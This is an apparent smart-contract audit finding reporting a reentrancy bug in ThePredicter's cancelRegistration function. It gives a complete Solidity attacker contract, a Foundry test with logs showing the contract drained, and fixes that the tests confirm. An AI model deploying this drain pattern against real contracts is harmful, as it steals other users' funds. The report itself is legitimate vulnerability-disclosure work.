Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`ThePredicter::cancelRegistration` is prone to classic Reentrancy attack due to lack of CEI pattern, allows draining other users funds

Summary

cancelRegistrationfunction in ThePredictor contract is prone to reentrancy, that can be exploited by the attacker to drain all available ether from the contract.

Vulnerability Details

Relevant code link - https://github.com/Cyfrin/2024-07-the-predicter/blob/main/src/ThePredicter.sol#L62C14-L62C32

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
@> (bool success, ) = msg.sender.call{value: entranceFee}("");
@> require(success, "Failed to withdraw");
@> playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

If you check the highlight code, it does not follows checks, effects and interaction pattern which makes it vulnerable to reentrancy attack. Ether is being sent to user before updating his status.
Due to this flaw, attacker can drain other users funds who registered before him and they won't be able to cancelRegistration even they wanted to.

POC

In src we create Attacker.sol as given below -

// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.20;
///----------------------------///
///------ INTERFACE -----------///
///----------------------------///
interface IThePredictor{
function register() external payable ;
function cancelRegistration() external ;
}
///----------------------------///
///------ MAIN CONTRACT -------///
///----------------------------///
contract Attack is IThePredictor {
address owner;
IThePredictor predictor;
error onlyOwner();
error ETHTransferFailed();
constructor (address _predictor){
owner = msg.sender;
predictor = IThePredictor(_predictor);
}
/// @dev register on target call with given fee
function register () public payable {
predictor.register{value: msg.value}();
}
/// @dev cancel registration to execute
/// reentrancy via receive fallback
function cancelRegistration () public {
predictor.cancelRegistration();
}
///@dev receive fallback
receive() external payable {
if(address(predictor).balance >= 0.04 ether){
predictor.cancelRegistration();
}
}
/// @dev function to claim ether from the contract later on
function claimEth() external {
if(msg.sender != owner){revert onlyOwner();}
(bool sent,) = owner.call{value: address(this).balance}("");
if(!sent){revert ETHTransferFailed();}
}
}

then in the existing test suite, we add some imports and following test --

/// other imports as is
+ import {Attack} from "../src/Attacker.sol";
.
.
.
contract ThePredicterTest is Test {
.
+ Attack public attacker;
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
+ attacker = new Attack(address(thePredicter));
vm.stopPrank();
}
+function testCancelRegistrationIsProneToReentrancy() public {
+ //// user 1 registrer
+ vm.startPrank(stranger);
+ vm.warp(1);
+ vm.deal(stranger, 1 ether);
+ thePredicter.register{value: 0.04 ether}();
+ vm.stopPrank();
+
+ /// user 2 register
+ vm.startPrank(address(0x123));
+ vm.deal(address(0x123), 1 ether);
+ vm.warp(2);
+ thePredicter.register{value: 0.04 ether}();
+ vm.stopPrank();
+
+ /// user 3 register
+ vm.startPrank(address(attacker));
+ vm.warp(3);
+ vm.deal(address(attacker), 0.04 ether);
+ attacker.register{value: 0.04 ether}();
+ console.log("/----------------------------------------/");
+ console.log("/------------Before Attack---------------/");
+ console.log("/----------------------------------------/");
+ console.log("contract balance before attack:", address(thePredicter).balance);
+ console.log("attacker balance before attack:", address(attacker).balance);
+ /// attacker cancel register and drain all available eth
+ attacker.cancelRegistration();
+ console.log("/----------------------------------------/");
+ console.log("/------------After Attack---------------/");
+ console.log("/----------------------------------------/");
+ console.log("contract balance after attack:", address(thePredicter).balance);
+ console.log("attacker balance after attack:", address(attacker).balance);
+ vm.stopPrank();
+ }
/// other test as is
}

Then run forge test --mt testCancelRegistrationIsProneToReentrancy -vv in the terminal and it will show following results.

[⠊] Compiling...
[⠑] Compiling 1 files with Solc 0.8.20
[⠘] Solc 0.8.20 finished in 1.67s
Compiler run successful:
Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] testCancelRegistrationIsProneToReentrancy() (gas: 155190)
Logs:
/----------------------------------------/
/------------Before Attack---------------/
/----------------------------------------/
contract balance before attack: 120000000000000000
attacker balance before attack: 0
/----------------------------------------/
/------------Before Attack---------------/
/----------------------------------------/
contract balance after attack: 0
attacker balance after attack: 120000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.67ms (1.73ms CPU time)
Ran 1 test suite in 153.29ms (2.67ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Which confirms out finding that user funds are being drained.

Impact

Loss of innocent user funds

Tools Used

Manual Review , Foundry

Recommendations

Here are few recommendations -

  1. use nonReentrant modifier

+ import {ReentrancyGaurad} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"
- function cancelRegistration() public {
+ function cancelRegistration() public nonReentrant {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
  1. update the state before transferring the ether

I'm implementating the second approach for now.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
- (bool success, ) = msg.sender.call{value: entranceFee}("");
- require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
+ playersStatus[msg.sender] = Status.Canceled;
+ (bool success, ) = msg.sender.call{value: entranceFee}("");
+ require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

After applying this mediation, let's run the test again, which should fail now in order to confirm the fix.
run forge test --mt testCancelRegistrationIsProneToReentrancy -vv in the terminal and it shows the following results

[⠊] Compiling...
[⠑] Compiling 3 files with Solc 0.8.20
[⠘] Solc 0.8.20 finished in 1.70s
Compiler run successful!
Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[FAIL. Reason: revert: Failed to withdraw] testCancelRegistrationIsProneToReentrancy() (gas: 134613)
Logs:
/----------------------------------------/
/------------Before Attack---------------/
/----------------------------------------/
contract balance before attack: 120000000000000000
attacker balance before attack: 0
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 9.42ms (1.35ms CPU time)
Ran 1 test suite in 160.02ms (9.42ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/ThePredicter.test.sol:ThePredicterTest
[FAIL. Reason: revert: Failed to withdraw] testCancelRegistrationIsProneToReentrancy() (gas: 134613)
Encountered a total of 1 failing tests, 0 tests succeeded

which confirms our fix is working as intended.

Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.